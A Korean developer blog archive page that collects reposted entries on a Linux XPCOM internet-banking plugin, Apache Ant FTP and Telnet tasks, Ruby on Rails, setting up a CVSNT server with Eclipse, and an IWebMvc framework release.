name='XecureWeb' id='XecureWeb'></EMBED invokeURLs=false>
<NOEMBED invokeURLs=false>No XecureWeb PlugIn</NOEMBED invokeURLs=false>");
}
else { // 익스플로러를 사용할 경우
    document.write('<OBJECT ID="XecureWeb"
CLASSID="CLSID:7EFG2B80-5316-3G5F-B02C-00GHTR0CD411" CODEBASE="http://test.com/xw_install.cab#Version=5,4,0,0" width=0 height=0>No XecureWeb PlugIn</OBJECT>');
}
</script>

빌드가 끝난 후 최종적으로 생성된 타입 라이브러리 파일은 웹 브라우저 디렉토리 하단의 components 디렉토리에, 플러그인 라이브러리 파일은 웹 브라우저 디렉토리 하단의 plugins 디렉토리에 복사하거나 다른 디렉토리에 저장하고 심볼릭 링크를 걸어주면 인식된다. 타입 라이브러리 파일이 정확히 설치됐는지 여부는 다음과 같이 확인할 수 있다.

[hkyang@localhost xw_plugin]$ ls /파이어폭스/components/*.xpt -al
-rwx------ 1 root root 1636 1월20 17:34 /파이어폭스/components/nsIXecurePlugin.xpt

플러그인에 대한 라이브러리 파일은 추후 관리가 용이하도록 심볼릭 링크를 걸어두는 것이 편하다.

[hkyang@localhost xw_plugin]$ ls /firefox/plugins/ -al
drwxr-xr-x 2 root root 4096 12월24 17:54 .
drwxrwxr-x 11 hkyang hkyang 4096 12월15 11:26 ..
lrwxrwxrwx 1 root root 46 12월24 17:54 libXecure.so
-> /home/hkyang/.softforum/XecureWeb/libXecure.so

이제 <화면 4>와 같이 about:plugin 페이지에서 플러그인이 정상적으로 설치되었는지 최종적으로 확인해 볼 수 있다.

<화면 4> 플러그인 설치 여부 확인하는 about:plugin

파이어폭스에서 인터넷 뱅킹을!
<그림 3>은 필자가 참여한 리눅스용 인터넷 뱅킹 데모 화면의 일부이다. 현재 리눅스 유저들이 인터넷 뱅킹을 할 수 없었던 이유는 플러그인에 대한 지원이 미비하고 인터넷 뱅킹 클라이언트가 없었기 때문이다. 클라이언트의 경우 XPCOM 플러그인이 플랫폼에 유연하게 대응할 수 있기 때문에 리눅스를 포함한 윈도우 이외의 운영체제에서 빠르게 포팅할 수 있도록 설계, 구현했다.

<화면 5> XPCOM 플러그인을 이용한 인터넷 뱅킹


플러그인의 경우 이미 수많은 사이트에서 액티브 X로 적용이 이뤄졌기 때문에 구축된 사이트의 변경 작업을 최소화하도록 설계 방향을 잡았고, 그 결과 XPCOM 플러그인을 사용하기로 결정했다. 기존에 구축한 사이트는 앞서 <리스트 3>처럼 user agent string을 구분해 <object> 태그를 걸어주기만 하면 모든 운영체제와 웹 브라우저를 지원할 수 있으며, 윈도우와 동일하게 작동한다.

물론 이 플러그인은 운영체제만 동일하다면 리눅스 환경의 오페라에서도 코드 수정없이 실행된다(참고로 오페라는 자신의 플러그인 디렉토리에 설치하지 않더라도 넷스케이프, 파이어폭스에 설치된 플러그인 위치만 지정하면 직접 가져다 쓸 수 있다).

현재 XPCOM 플러그인의 가장 큰 걸림돌은 플러그인을 xpinstall 형태로 배포하는 과정에서 XPI의 서명 검증 문제다. 사용자는 플러그인의 배포자가 누구인지, 또 그 플러그인이 합법적으로 배포되어 사용자의 웹 브라우저에 설치될 수 있는 것인지 검증할 수 없다는 것이다. 그러나 플랫폼 독립적이고 다양한 웹 브라우저를 지원하는 플러그인이라는 점에서 액티브 X 의존적인 시장에 변화가 있었으면 하는 것이 필자의 바람이다.

실제 변화를 추동하는 데에는 기업과 개발자가 담당해야 할 몫이 있다. 채 10%가 안되는 파이어폭스 사용자를 고려하지 않는다는 것은 기회 비용의 10%를 배제하고 개발하는 것과 다를 바 없기 때문이다. 이는 단지 10이라는 숫자가 1이었다 하더라도, 역으로 파이어폭스가 99이고 IE가 1이 되는 상황이 된다 해도 의미의 크기는 변함이 없다.@

출처 : Tong - BlueSky_08님의 개발업무통

Posted by 1010
98..Etc/Etc...2008. 7. 26. 17:08
반응형

ANT를 이용하여 FTP와 Telnet 작업 진행하기

FTP, Telnet 작업을 위한 환경 세팅

FTP와 Telnet은 ANT의 Core Task에 있는 Command가 아니라 Optional Task이기 때문에 추가적으로 설치해야되는 라이브러리가 있다. ANT에서 FTP와 Telnet을 사용하기 위하여 필요한 라이브러리는 Apache Jakarta 프로젝트에서 개발한 Commons NetORO이다.

FTP와 Telnet 사용을 위하여 라이브러리를 설치하는 과정은 다음과 같다.

  • 먼저 Jakarta 프로젝트에서 이 두개의 라이브러리를 다운받는다.
  • 다운 받은 압축파일을 원하는 위치에 압축을 푼다.

다음 과정은 Eclipse를 사용할 때와 Prompt상에서 ANT를 실행할 때로 나뉘어 설명하도록 하겠다.

! Eclipse를 사용할 때.

  • Eclipse에서 Window | Preferences | Ant | Runtime으로 이동한 다음 Classpath Tab의 Ant Home Entries에 앞에서 다운받은 두개의 라이브러리를 추가해준다.

  • 이 두개의 라이브러리를 위와 같이 세팅하면 모든 세팅은 완료된다.

! Prompt상에서 ANT를 실행할 때.

  • 앞에서 다운받는 두개의 라이브러리를 ANT_HOME/lib에 복사한다.

이상으로 FTP와 Telnet을 사용하기 위한 기본적인 세팅은 완료하였다. ANT에서 FTP와 Telnet을 사용하기 위하여 Dependency관계에 있는 라이브러리는 http://ant.apache.org/manual/install.html#commons-net에서 확인할 수 있다.

FTP 사용을 위한 ANT Script 작성

앞의 세팅이 정상적으로 완료되었다면 FTP를 위한 ANT Script를 작성하여 원하는 파일을 FTP 서버에 전송하는 것이 가능하다. 다음은 ANT 사용자 문서에서 제공하는 스크립트의 일부분이다.

<ftp server="ftp.apache.org"
       port="2121"
       remotedir="/pub/incoming"
       userid="coder"
       password="java1"
       depends="yes"
       binary="no"
  >
    <fileset dir="htdocs/manual">
      <include name="**/*.html"/>
    </fileset>
</ftp>

위 스크립트의 세부 항목과 더 많은 스크립트 예제는 http://ant.apache.org/manual/OptionalTasks/ftp.html에서 참조할 수 있다.

Telnet 사용을 위한 ANT Script 작성

앞의 세팅이 정상적으로 완료되었다면 Telnet을 위한 ANT Script를 작성하여 Remote서버에서 원하는 작업을 하는 것이 가능하다. 다음은 ANT 사용자 문서에서 제공하는 스크립트의 일부분이다.

<telnet server="localhost">
   <read>ogin:</read>
   <write>bob</write>
   <read>assword:</read>
   <write>badpass</write>
   <read>/home/bob</read>
   <write>ls</write>
   <read>/home/bob</read>
</telnet>

위 스크립트의 세부 항목과 더 많은 스크립트 예제는 http://ant.apache.org/manual/OptionalTasks/telnet.html에서 참조할 수 있다.

telnet을 사용할 때 중요한 점은 read/write를 적절하게 사용해야 한다는 것이다. write 스크립트는 우리가 실행하고자하는 작업들을 명시할 수 있다. read는 write 작업을 완료한 다음에 해당 구문이 있는 곳까지 읽어서 Console에 출력하는 것이다. 그러므로 write 스크립트를 통하여 작업을 수행한 다음 해당 작업이 정확하게 실행되었는지를 확인하기 위하여 read 스크립트를 작성해주어야 한다.

telnet의 read 스크립트는 보통 Remote Server의 prompt를 사용한다. 예를 들어 telnet으로 Remote Server에 접근 했을 때의 첫 prompt가 /usr/home/javajigi>이고 cd 명령어를 이용하여 /usr/java 디렉토리로 이동하고자 할 때의 telnet 스크립트를 보면 다음과 같다.

<telnet userid="javajigi" password="javajigipass" server="localhost" timeout="20">
   <read>/usr/home/javajigi></read>
   <write>cd /usr/java</write>
   <read>/usr/java></read>
   <write>ls -al</write>
   <read>/usr/java></read>
</telnet>

위와 같이 작성하면 각 단계별로 실행되는 모든 Command들의 상황을 로컬상에서 볼 수 있게 된다.


ANT를 이용하여 FTP와 Telnet 작업 진행하기 - 통합 개발 환경 - Conflue

FTP

Description

The ftp task implements a basic FTP client that can send, receive, list, delete files, and create directories. See below for descriptions and examples of how to perform each task.

Note: This task depends on external libraries not included in the Ant distribution. See Library Dependencies for more information. Get the latest version of this library, for the best support in Ant

The ftp task attempts to determine what file system is in place on the FTP server. Supported server types are Unix, NT, OS2, VMS, and OS400. In addition, NT and OS400 servers which have been configured to display the directory in Unix style are also supported correctly. Otherwise, the system will default to Unix standards. remotedir must be specified in the exact syntax required by the ftp server. If the usual Unix conventions are not supported by the server, separator can be used to set the file separator that should be used instead.

See the section on directory based tasks, on how the inclusion/exclusion of files works, and how to write patterns.

This task does not currently use the proxy information set by the <setproxy> task, and cannot go through a firewall via socks.

Warning: there have been problems reported concerning the ftp get with the newer attribute. Problems might be due to format of ls -l differing from what is expected by commons-net, for instance due to specificities of language used by the ftp server in the directory listing. If you encounter such a problem, please send an email including a sample directory listing coming from your ftp server (ls -l on the ftp prompt).

If you can connect but not upload or download, try setting the passive attribute to true to use the existing (open) channel, instead of having the server try to set up a new connection.

Parameters

Attribute Description Required
server the address of the remote ftp server. Yes
port the port number of the remote ftp server. Defaults to port 21. No
userid the login id to use on the ftp server. Yes
password the login password to use on the ftp server. Yes
account the account to use on the ftp server. since Ant 1.7. No
remotedir remote directory on the ftp server see table below for detailed usage No
action the ftp action to perform, defaulting to "send". Currently supports "put", "get", "del", "list", "chmod", "mkdir", "rmdir", and "site". No
binary selects binary-mode ("yes") or text-mode ("no") transfers. Defaults to "yes" No
passive selects passive-mode ("yes") transfers, for better through-firewall connectivity, at the price of performance. Defaults to "no" No
verbose displays information on each file transferred if set to "yes". Defaults to "no". No
depends transfers only new or changed files if set to "yes". Defaults to "no". No
newer a synonym for depends. see timediffauto and timediffmillis No
timediffauto set to "true" to make ant calculate the time difference between client and server.
requires write access in the remote directory
Since ant 1.6
No
timestampGranularity Specify either MINUTE, NONE, (or you may specify "" which is equivalent to not specifying a value, useful for property-file driven scripts). Allows override of the typical situation in PUT and GET where local filesystem timestamps are HH:mm:ss and the typical FTP server's timestamps are HH:mm. This can throw off uptodate calculations. However, the default values should suffice for most applications.
Since ant 1.7
No. Only applies in "puts" and "gets" where the default values are MINUTE for PUT and NONE for GET. (It is not as necessary in GET because we have the preservelastmodified option.)
timediffmillis Deprecated. Number of milliseconds to add to the time on the remote machine to get the time on the local machine. The timestampGranularity attribute (for which the default values should suffice in most situations), and the serverTimeZoneConfig option, should make this unnecessary. serverTimeZoneConfig does the math for you and also knows about Daylight Savings Time.
Since ant 1.6
No
separator sets the file separator used on the ftp server. Defaults to "/". No
umask sets the default file permissions for new files, unix only. No
chmod sets or changes file permissions for new or existing files, unix only. If used with a put action, chmod will be issued for each file. No
listing the file to write results of the "list" action. Required for the "list" action, ignored otherwise. No
ignoreNoncriticalErrors flag which permits the task to ignore some non-fatal error codes sent by some servers during directory creation: wu-ftp in particular. Default: false No
skipFailedTransfers flag which enables unsuccessful file put, delete and get operations to be skipped with a warning and the remainder of the files still transferred. Default: false No
preservelastmodified Give the copied files the same last modified time as the original source files (applies to getting files only). (Note: Ignored on Java 1.1) No; defaults to false.
retriesAllowed Set the number of retries allowed on an file-transfer operation. If a number > 0 specified, each file transfer can fail up to that many times before the operation is failed. If -1 or "forever" specified, the operation will keep trying until it succeeds. No; defaults to 0
siteCommand Set the server-specific SITE command to execute if the action attribute has been specified as "site". No
initialSiteCommand Set a server-specific SITE command to execute immediately after login. No

The following attributes require jakarta-commons-net-1.4.0 or greater.

Use these options when the standard options don't work, because

  • the server is in a different timezone and you need timestamp dependency checking
  • the default timestamp formatting doesn't match the server display and list parsing therefore fails

If none of these is specified, the default mechanism of letting the system auto-detect the server OS type based on the FTP SYST command and assuming standard formatting for that OS type will be used.

To aid in property-file-based development where a build script is configured with property files, for any of these attributes, a value of "" is equivalent to not specifying it.

Please understand that these options are incompatible with the autodetection scheme. If any of these options is specified, (other than with a value of "" ) a system type must be chosen and if systemTypeKey is not specified, UNIX will be assumed. The philosophy behind this is that these options are for setting non-standard formats, and a build-script author who knows what system he is dealing with will know what options to need to be set. Otherwise, these options should be left alone and the default autodetection scheme can be used and will work in the majority of cases.

systemTypeKey Specifies the type of system in use on the server. Supported values are "UNIX", "VMS", "WINDOWS", "OS/2", "OS/400", "MVS". If not specified, (or specified as "") and if no other xxxConfig attributes are specified, the autodectection mechanism based on the FTP SYST command will be used.
Since ant 1.7
No, but if any of the following xxxConfig attributes is specified, UNIX will be assumed, even if "" is specified here.
serverTimeZoneConfig Specify as a Java TimeZone identifier, (e.g. GMT, America/Chicago or Asia/Jakarta) the timezone used by the server for timestamps. This enables timestamp dependency checking even when the server is in a different time zone from the client. Time Zones know, also, about daylight savings time, and do not require you to calculate milliseconds of difference. If not specified, (or specified as ""), the time zone of the client is assumed.
Since ant 1.7
No
defaultDateFormatConfig Specify in Java SimpleDateFormat notation, (e.g. yyyy-MM-dd), the date format generally used by the FTP server to parse dates. In some cases this will be the only date format used. In others, (unix for example) this will be used for dates older than a year old. (See recentDateFormatConfig). If not specified, (or specified as ""), the default date format for the system type indicated by the systemTypeKey attribute will be used.
Since ant 1.7
No.
recentDateFormatConfig Specify in Java SimpleDateFormat notation, (e.g. MMM dd hh:mm) the date format used by the FTP server to parse dates less than a year old. If not specified (or specified as ""), and if the system type indicated by the system key uses a recent date format, its standard format will be used.
Since ant 1.7
No
serverLanguageCodeConfig a two-letter ISO-639 language code used to specify the language used by the server to format month names. This only needs to be specified when the server uses non-numeric abbreviations for months in its date listings in a language other than English. This appears to be becoming rarer and rarer, as commonly distributed ftp servers seem increasingly to use English or all-numeric formats. Languages supported are:
  • en - English
  • fr - French
  • de - German
  • it - Italian
  • es - Spanish
  • pt - Portuguese
  • da - Danish
  • sv - Swedish
  • no - Norwegian
  • nl - Dutch
  • ro - Romanian
  • sq - Albanian
  • sh - Serbo-croatian
  • sk - Slovak
  • sl - Slovenian
If you require a language other than the above, see also the shortMonthNamesConfig attribute.
Since ant 1.7
No
shortMonthNamesConfig specify the month abbreviations used on the server in file timestamp dates as a pipe-delimited string for each month. For example, a set of month names used by a hypothetical Icelandic FTP server might conceivably be specified as "jan|feb|mar|apr|maí|jún|júl|ágú|sep|okt|nóv|des". This attribute exists primarily to support languages not supported by the serverLanguageCode attribute.
Since ant 1.7
No

Note about remotedir attribute

Action
meaning of remotedir
use of nested fileset (s)
send/put
base directory to which the files are sent
they are used normally and evaluated on the local machine
recv/get
base directory from which the files are retrieved
the remote files located under the remotedir matching the include/exclude patterns of the fileset
del/delete
base directory from which files get deleted
the remote files located under the remotedir matching the include/exclude patterns of the fileset
list
base directory from which files are listed
the remote files located under the remotedir matching the include/exclude patterns of the fileset
mkdir directory to create
not used
chmod base directory from which the mode of files get changed
the remote files located under the remotedir matching the include/exclude patterns of the fileset
rmdir
base directory from which directories get removed
the remote directories located under the remotedir matching the include/exclude patterns of the fileset

Parameters specified as nested elements

fileset

The ftp task supports any number of nested <fileset> elements to specify the files to be retrieved, or deleted, or listed, or whose mode you want to change.

The attribute followsymlinks of fileset is supported on local (put) as well as remote (get, chmod, delete) filesets. Before ant 1.6 there was no support of symbolic links in remote filesets. In order to exclude symbolic links (preserve the behavior of ant 1.5.x and older), you need to explicitly set followsymlinks to false. On remote filesets hidden files are not checked for being symbolic links. Hidden files are currently assumed to not be symbolic links.

Remote filesets do not support selectors.

Sending Files

The easiest way to describe how to send files is with a couple of examples:

  <ftp server="ftp.apache.org"
       userid="anonymous"
       password="me@myorg.com">
    <fileset dir="htdocs/manual"/>
  </ftp>

Logs in to ftp.apache.org as anonymous and uploads all files in the htdocs/manual directory to the default directory for that user.

  <ftp server="ftp.apache.org"
       remotedir="incoming"
       userid="anonymous"
       password="me@myorg.com"
       depends="yes">
    <fileset dir="htdocs/manual"/>
  </ftp>

Logs in to ftp.apache.org as anonymous and uploads all new or changed files in the htdocs/manual directory to the incoming directory relative to the default directory for anonymous.

  <ftp server="ftp.apache.org"
       port="2121"
       remotedir="/pub/incoming"
       userid="coder"
       password="java1"
       passive="yes"
       depends="yes"
       binary="no">
    <fileset dir="htdocs/manual">
      <include name="**/*.html"/>
    </fileset>
  </ftp>

Logs in to ftp.apache.org at port 2121 as coder with password java1 and uploads all new or changed HTML files in the htdocs/manual directory to the /pub/incoming directory. The files are transferred in text mode. Passive mode has been switched on to send files from behind a firewall.

  <ftp server="ftp.hypothetical.india.org"
       port="2121"
       remotedir="/pub/incoming"
       userid="coder"
       password="java1"
       depends="yes"
       binary="no"
       systemTypeKey="Windows"
       serverTimeZoneConfig="India/Calcutta">
    <fileset dir="htdocs/manual">
      <include name="**/*.html"/>
    </fileset>
  </ftp>

Logs in to a Windows server at ftp.hypothetical.india.org at port 2121 as coder with password java1 and uploads all new or changed (accounting for timezone differences) HTML files in the htdocs/manual directory to the /pub/incoming directory. The files are transferred in text mode.

  <ftp server="ftp.nt.org"
       remotedir="c:\uploads"
       userid="coder"
       password="java1"
       separator="\"
       verbose="yes">
    <fileset dir="htdocs/manual">
      <include name="**/*.html"/>
    </fileset>
  </ftp>

Logs in to the Windows-based ftp.nt.org as coder with password java1 and uploads all HTML files in the htdocs/manual directory to the c:\uploads directory. Progress messages are displayed as each file is uploaded.

Getting Files

Getting files from an FTP server works pretty much the same way as sending them does. The only difference is that the nested filesets use the remotedir attribute as the base directory for the files on the FTP server, and the dir attribute as the local directory to put the files into. The file structure from the FTP site is preserved on the local machine.

  <ftp action="get"
       server="ftp.apache.org"
       userid="anonymous"
       password="me@myorg.com">
    <fileset dir="htdocs/manual">
      <include name="**/*.html"/>
    </fileset>
  </ftp>

Logs in to ftp.apache.org as anonymous and recursively downloads all .html files from default directory for that user into the htdocs/manual directory on the local machine.

  <ftp action="get"
       server="ftp.apache.org"
       userid="anonymous"
       password="me@myorg.com"
       systemTypeKey="UNIX"
       defaultDateFormatConfig="yyyy-MM-dd HH:mm">
    <fileset dir="htdocs/manual">
      <include name="**/*.html"/>
    </fileset>
  </ftp>

If apache.org ever switches to a unix FTP server that uses the new all-numeric format for timestamps, this version would become necessary. It would accomplish the same functionality as the previous example but would successfully handle the numeric timestamps. The systemTypeKey is not necessary here but helps clarify what is going on.

  <ftp action="get"
       server="ftp.hypthetical.fr"
       userid="anonymous"
       password="me@myorg.com"
       defaultDateFormatConfig="d MMM yyyy"
       recentDateFormatConfig="d MMM HH:mm"
       serverLanguageCodeConfig="fr">
     <fileset dir="htdocs/manual">
      <include name="**/*.html"/>
    </fileset>
  </ftp>

Logs into a UNIX FTP server at ftp.hypothetical.fr which displays dates with French names in Standard European format, as anonymous, and recursively downloads all .html files from default directory for that user into the htdocs/manual directory on the local machine.

Deleting Files

As you've probably guessed by now, you use nested fileset elements to select the files to delete from the remote FTP server. Again, the filesets are relative to the remote directory, not a local directory. In fact, the dir attribute of the fileset is ignored completely.
  <ftp action="del"
       server="ftp.apache.org"
       userid="anonymous"
       password="me@myorg.com">
    <fileset>
      <include name="**/*.tmp"/>
    </fileset>
  </ftp>

Logs in to ftp.apache.org as anonymous and tries to delete all *.tmp files from the default directory for that user. If you don't have permission to delete a file, a BuildException is thrown.

Listing Files

  <ftp action="list"
       server="ftp.apache.org"
       userid="anonymous"
       password="me@myorg.com"
       listing="data/ftp.listing">
    <fileset>
      <include name="**"/>
    </fileset>
  </ftp>

This provides a file listing in data/ftp.listing of all the files on the FTP server relative to the default directory of the anonymous user. The listing is in whatever format the FTP server normally lists files.

Creating Directories

Note that with the mkdir action, the directory to create is specified using the remotedir attribute.

  <ftp action="mkdir"
       server="ftp.apache.org"
       userid="anonymous"
       password="me@myorg.com"
       remotedir="some/remote/dir"/>

This creates the directory some/remote/dir beneath the default root directory. As with all other actions, the directory separator character must be correct according to the desires of the FTP server.

Removing Directories

This action uses nested fileset elements to select the directories to remove from the remote FTP server. The filesets are relative to the remote directory, not a local directory. The dir attribute of the fileset is ignored completely. The directories to be removed must be empty, or contain only other directories that have been also selected to be removed by the filesets patterns, otherwise a BuildException will be thrown. Also, if you don't have permission to remove a directory, a BuildException is thrown.
  <ftp action="rmdir"
       server="ftp.apache.org"
       userid="anonymous"
       password="me@myorg.com"
       remotedir="/somedir" >
    <fileset>
      <include name="dira"/>
      <include name="dirb/**"/>
    </fileset>
  </ftp>

Logs in to ftp.apache.org as anonymous and tries to remove /somedir/dira directory and all the directories tree starting at, and including, /somedir/dirb. When removing the /somedir/dirb tree, it will start at the leaves moving up to the root, so that when it tries to remove a directory it is sure all the directories under it are already removed. Obviously all the files in the tree must have been already deleted.

As an example suppose you want to delete everything contained into /somedir, so invoke first the <ftp> task with action="delete", then with action="rmdir" specifying in both cases remotedir="/somedir" and

    <fileset>
        <include name="**"/>
    </fileset>
The directory specified in the remotedir parameter is never selected for remove, so if you need to remove it, specify its parent in remotedir parameter and include it in the <fileset> pattern, like "somedir/**".

출처 : Tong - BlueSky_08님의 개발업무통

Posted by 1010
98..Etc/Etc...2008. 7. 26. 17:07
반응형

Ruby on Rails를 아십니까?

Basecamp, Campfire, 43things, ODEO, Shopify, Wayfairing.. 나름대로 알려진 Web 2.0 사이트 들입니다. 이 사이트들은 한 가지 공통점을 가지고 있지요. 그 공통점이 무엇일까요?

바로 Ruby On Rails를 이용해 만들어졌다는 점입니다. 최근 들어 웹 개발에 관여된 사람이라면 한 번쯤은 들어 보았을 만한 용어이지요. 그저 또 하나의 새로운 언어 및 개발 프레임워크라고 하면 그다지 관심을 둘 필요는 없을 겁니다. 꼭 필요하게 되면 그 때 배워도 늦지 않을 테니까요.

그런데 위에 기술한 사이트들이 모두 채용하고 있다고 하면 이건 상황이 조금 다릅니다. 호기심이 동하지 않습니까? 도대체 Ruby는 뭐고 Rails는 무엇일까요? 간단히 알아 보도록 하지요.

Ruby, Script Language


Ruby는 Perl, Python, PHP와 같은 스크립트 기반의 프로그래밍 언어입니다. 간결하고도 강력한 객체지향 언어로, 유키히로 마츠모토라는 일본인에 의해 만들어졌습니다.

특징이라고 하면 다양한 언어의 특징을 골고루 물려 받았다는 점입니다. SmallTalk, Lisp, Perl 등의 언어로부터 여러 훌륭한 특성들을 가져 왔습니다. 마츠 (유키히로 마츠모토의 애칭)에 의하면 Ruby는 프로그래머의 행복을 위해 만들어진 언어라고 하는군요. 이 말에서 짐작할 수 있듯이 프로그래머가 Ruby의 기능을 사용하기 편리하게 되어 있다는 점이 가장 큰 장점입니다.


< 사진1 : 유키히로 마츠모토, Ruby의 창시자 >

만약 여러분이 개발자이시고, 호기심을 참지 못해 당장 Ruby를 배워 보고 싶으시다면 Programming Ruby 를 참고하세요. 책 한 권을 통째로 보실 수 있습니다.

그런데 루비가 처음 만들어진 년도를 알아 보면 약간 갸우뚱 해 집니다. 1993년에 처음 만들어졌거든요. 그럼 벌써 10년 이상 나이를 먹은 것이고, 자바보다도 나이가 많은데 왜 지금까지는 조용했을까요? 그리고 왜 이제 와서 각광을 받고 있는 것일까요? 그 답은 Rails가 가지고 있습니다.

Rails, Web application framework

Rails는 Ruby로 만들어진 웹 애플리케이션 개발 프레임워크입니다. 37Signals 사의 프로그래머인 David Heinemeier Hansson에 의해 개발되었죠.

                               <
< 사진 2 : Rails의 창시자인 David Heinemeier Hansson >

~ 이제 왜 Basecamp, Campfire와 같은 37Signals의 서비스들이 Rails로 개발되었는지 이해가 되는군요. 사실 레일스 자체가 Basecamp, Backpack, Ta-da List 서비스를 만들기 위해 개발된 프레임워크였습니다. 프레임워크를 성공적으로 개발한 후 David이 오픈 소스화 하여 공개한 것이죠.

이 프레임워크가 말 그대로 물건이어서, 개발자로 하여금 놀라운 생산성을 발휘하게 해 주었고 그 결과 매우 인기가 높아진 것이죠. 이러한 생산성을 증명하기 위한 몇 가지 인상적인 데모가 있습니다. “를 15 진 5 와 같은 데모가 대표적입니다.

물론 이러한 장점들 외에도, 앤드류 헌트와 데이비드 토머스가 그들의 저서인 실용주의 프로그래머를 통해 루비를 알린 것 역시 Ruby on Rails의 확산에 큰 기여를 했습니다.

이제는 Ruby on Rails에 관심을 가져야 할 때

아직까지 Ruby와 Rails에 대해 무심하게 지나쳐 버렸다면 이제는 생각을 좀 바꿔야 합니다. 해외의 유명 자바 개발자들이 Ruby on Rails로 옮겨 가고 있다는 점 (http://jroller.com/page/dgeary?%20entry=tipping_rails) 역시 Ruby On Rails의 가치를 반증한다고도 볼 수 있겠습니다. 물론 무수히 많은 웹 2.0 사이트들이 Ruby on Rails를 이용하여 개발되고 있다는 점도 간과해서는 안 될 겁니다.

개발자 여러분, 이제는 Ruby에 관심을 가지고 Rails의 세계에 빠져 보세요. 또 다른 세상이 열릴지도 모릅니다

출처 : Tong - BlueSky_08님의 개발업무통

Posted by 1010
98..Etc/Etc...2008. 7. 25. 16:26
반응형

by 이동국

CVS 서버 설치하기

1. http://www.cvsnt.org 에서 최신버전의 cvsnt를 다운받는다.
이문서에서 사용된 cvsnt버전은 2.0.58d이다.

2. CVS에 관리할 파일을 저장하는 하나의 디렉토리(d:\cvs\repository)와 임시 디렉토리(d:\cvs\temp)하나를 생성한다. --> 사실 이 과정은 필요가 없는듯하다.

3. 설치파일(cvsnt-2.0.58d.exe)로 디폴트 설치를 한 다음에 다음 그림처럼 service control panel을 실행시킨다.

1.jpg

4. 실행후 repositories탭으로 이동해서 다음과 같이 셋팅해준다.
여기서 name는 /cvs를 포함하지 않는 이름으로 해준다.
그리고 location은 아까 cvs repository를 위해 생성해준 디렉토리로 지정한다.

2.jpg
5. Compatibility탭으로 이동해서 Respond as cvs 1.11.2 to version request에 체크를 해준다.
이것은 안해주면 eclipse에서 cvs접근할 때 cvs repository prefix관련 에러가 뜬다.

3.jpg
6. cvs를 사용하기 위해 windows 계정을 하나 생성한다. 그리고 administrator그룹내에 속하도록 셋팅을 한다.

7. 이렇게 되면 cvs서버 셋팅은 마친 셈이다.

Eclipse와 CVS 연동해서 사용하기.

알림 : 필자는 eclipse 3.1 M4버전을 기준으로 작성했다.

1. 메뉴에 window -> show view -> other -> cvs하위의 cvs repositories를 선택한다.

2. cvs repositories에서 마우스 오른쪽 클릭해서 new -> repository location을 선택한다. 그럼 다음과 같은 화면이 나온다.

4.jpg
3. finish를 누르면 다음과 같이 바뀐다.

5.jpg
4. 프로젝트를 생성하고 다음처럼 cvs에 연결을 시도한다.

6.jpg
5. 다음과 같이 추가된 cvs repository가 화면에 표시된다.

7.jpg
6. next를 누르면 프로젝트 관련 셋팅 화면이 뜨고 다시 누르면 다음과 같은 화면이 나온다.

8.jpg
7. finish 를 누르면 cvs와의 연결이 완료가 되었다는 노란색 막대기들이 보인다.

9.jpg

남기는 말
설정상에서 화면 UI등이 바뀌고 cvs서버에서 Respond as cvs 1.11.2 to version request에 체크를 안해주면 eclipse에서 cvs연결시 repository prefix관련 에러가 발생하는거 말고는 기존의 cvs서버 셋팅과 크게 바뀐게 없다. 사용에 관련해서는 사실 UI자체도 별로 바뀐게 없기 때문에 기존의 문서를 참조하길 바란다. }

Posted by 1010
98..Etc/Etc...2008. 7. 24. 13:40
반응형
 삽질 소감 -
아직 다듬어질려면 멀었고 관련 문서도 없는데가가 거의 이사람 혼자 만들어 공개한것으로 보인다. 소스코드는 제법 튼실해 보이고, 참고할만한 각종 유틸성 기법들이 유용하게 보인다. 그러나 일반 유저가 코드를 돌려보기엔 접근성이 상당히 떨어진다. 잘~ 하면 중간에 흔적도 없이 살아질 프로젝트 같다.

소스코드에서도 확인할수 있고 테스트한 동영상을 봐도 확인할수 있겠지만 이것은 공용(?) 어플리케이션 프레임웍(AP)를 표방(? 흉내?)하고 있다. 그래서 설정이 복잡하다 약간만 환경을 바꾸거나, 꼬여도 에러잡기가 힘들다. (Library의존성은 왜이리 꼬였는지...) Appfuse와는 보다 더 많은걸 구현하다 보니 상당부분 유연성을 포기하고 대신에 틀에 맞는 편리함을 제공하고 있다. 여전히 더 지켜봐야 할것 같다.

그래도 흔적을 남기는 이유는 AP를 구경하기 쉬운게 아니기 때문에....

동영상 및 소스코드 다운로드 : Download Link (동영상은 Demo.rar)


IWebMvc Milestone 3 released

By Jose Noheda

I've been working hard to polish a lot of aspects of IWebMvc for this milestone 3 and finally today I've finished. The result is a much more mature product that starts to resemble a usable framework. Nonetheless, I had time to add new features as well, some of them really important!

Let's review some of them:
  • Security
    IWebMvc now supports Spring security 2.0 based authentication and authorization using the new security namespace possibilities.
    • Spring Security 2.0 RC1
      The new version of Acegi is fully configured. Declarative security enabled.
    • Database realm
      Users / Roles are persisted in DB as any other entity.
    • User Administration
      CRUD operations to add / edit users, assign permissions and toggle (enable/disable) them are provided out-of-the-box.
    • Login / log off widget
      Working and easily integrated form based authentication. Default user/password combination is iwebmvc/iwebmvc (change it in iwebmvc.properties file)
    • Captcha widget
      AJAX validated captcha to enable human detection.
    • Remember me
      The framework will auto-login a user if so desires and will store authentication info using cookies.
  • Preliminary documentation
    A long standing due. A good percentage of the client interface is documented using the demo application.
  • Widgets
    • I18n Text
      A user can attempt to automatically translate texts into any of the supported languages using the Google AJAX Translation API
    • Tree (Hierarchy) widget
      New in this version, a user can build a tree of generic nodes and modify it as wished.
    • Grid (Table) widget
      The new grid supports a contextual menu, filtering (in addition to paging and ordering), inline edition of cell data (with AJAX storage management), cell content view (for data that exceeds column width) and auto width/height
    • Form widget
      Allows to check required fields before submitting and sending complete forms using JSON.
    • Other widgets
      Everything has been revamped a little or a lot.
  • Miscellaneous
    • YUI compression
      All JS is minified before sent (in addition to GZIP). This isn't activated by default in development environments.
    • Audit
      All create / update / delete operations are transparently audited (user, operation type, date/time, affected record, ...)
    • RSS feeds
      A generic framework to obtain RSS feeds of any entity has been developed. Example feeds have been created for audit operations.
    • DWR custom converters
      Working with JPA entities in JS is easier with the UUID and the Class converters.
    • IE7/Opera support
      A lot of work has been invested in making IWebMvc compatible with other browsers. IE7 is fully compatible with this release (though this bug in dojo affects any page that contains an Editor). Opera support is preliminary but a good chunk of the code is working.
    • Upgraded libraries
      In particular, to dojo 1.1 final but Spring, Hibernate and many others as well. Important: Netbeans project files have been migrated to v6.1beta to get rid of some absolute paths and facilitate project sharing (and include sources and ...). I've just tested this release with Netbeans/Glassfish & Ant/Jetty (though Eclipse/tomcat should still work fine).
